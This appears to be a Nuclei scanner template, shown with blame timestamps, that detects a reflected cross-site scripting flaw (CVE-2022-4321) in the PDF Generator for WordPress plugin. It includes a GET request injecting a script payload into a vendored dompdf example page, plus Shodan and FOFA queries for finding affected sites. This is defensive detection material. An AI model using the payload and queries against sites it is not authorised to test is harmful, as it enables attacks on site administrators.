2023-04-21 08:56:01 +00:00
id : CVE-2022-4321
info :
name : PDF Generator for WordPress < 1.1.2 - Cross Site Scripting
2023-10-08 06:26:49 +00:00
author : r3Y3r53,HuTa0
2023-04-21 08:56:01 +00:00
severity : medium
description : |
The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website.
2023-09-06 11:59:08 +00:00
remediation : Fixed in version 1.1.2
2023-04-21 08:56:01 +00:00
reference :
- https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644
- https://nvd.nist.gov/vuln/detail/CVE-2022-4321
- https://wordpress.org/plugins/pdf-generator-for-wp/
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/cvemon
- https://github.com/kwalsh-rz/github-action-ecr-scan-test
2023-07-11 19:49:27 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-4321
cwe-id : CWE-79
2024-01-14 13:49:27 +00:00
epss-score : 0.00078
2024-01-29 17:11:14 +00:00
epss-percentile : 0.32646
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wpswings:pdf_generator_for_wordpress:*:*:*:*:*:wordpress:*:*
2023-04-21 08:56:01 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 11:59:08 +00:00
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : wpswings
product : pdf_generator_for_wordpress
2023-09-06 11:59:08 +00:00
framework : wordpress
2023-10-08 06:26:49 +00:00
publicwww-query : "/wp-content/plugins/pdf-generator-for-wp"
2024-05-31 19:23:20 +00:00
shodan-query : http.html:/wp-content/plugins/pdf-generator-for-wp
fofa-query : body=/wp-content/plugins/pdf-generator-for-wp
2023-12-05 09:50:33 +00:00
tags : cve,cve2022,wpscan,wordpress,wp,wp-plugin,xss,pdf-generator-for-wp,wpswings
2023-04-21 08:56:01 +00:00
2023-04-27 04:28:59 +00:00
http :
2023-04-21 08:56:01 +00:00
- method : GET
path :
2023-04-21 09:05:21 +00:00
- '{{BaseURL}}/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>'
2023-04-21 08:56:01 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
- '><script>alert(document.domain)</script>'
- 'pdf-generator-for-wp'
2023-10-08 06:26:49 +00:00
- 'Total execution time is'
2023-04-21 08:56:01 +00:00
condition : and
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
2024-06-01 06:53:00 +00:00
# digest: 4a0a0047304502207d1d3e1624f6b7d4937d108b86ac91b2bc80ae4e861df56df8d26c87a1985d5e022100e1aae9b6ef9306b43a16bf1defea1dffeda0cfcb6d286fb4a91eb74db4f94022:922c64590222798bb761d5b6d8e72950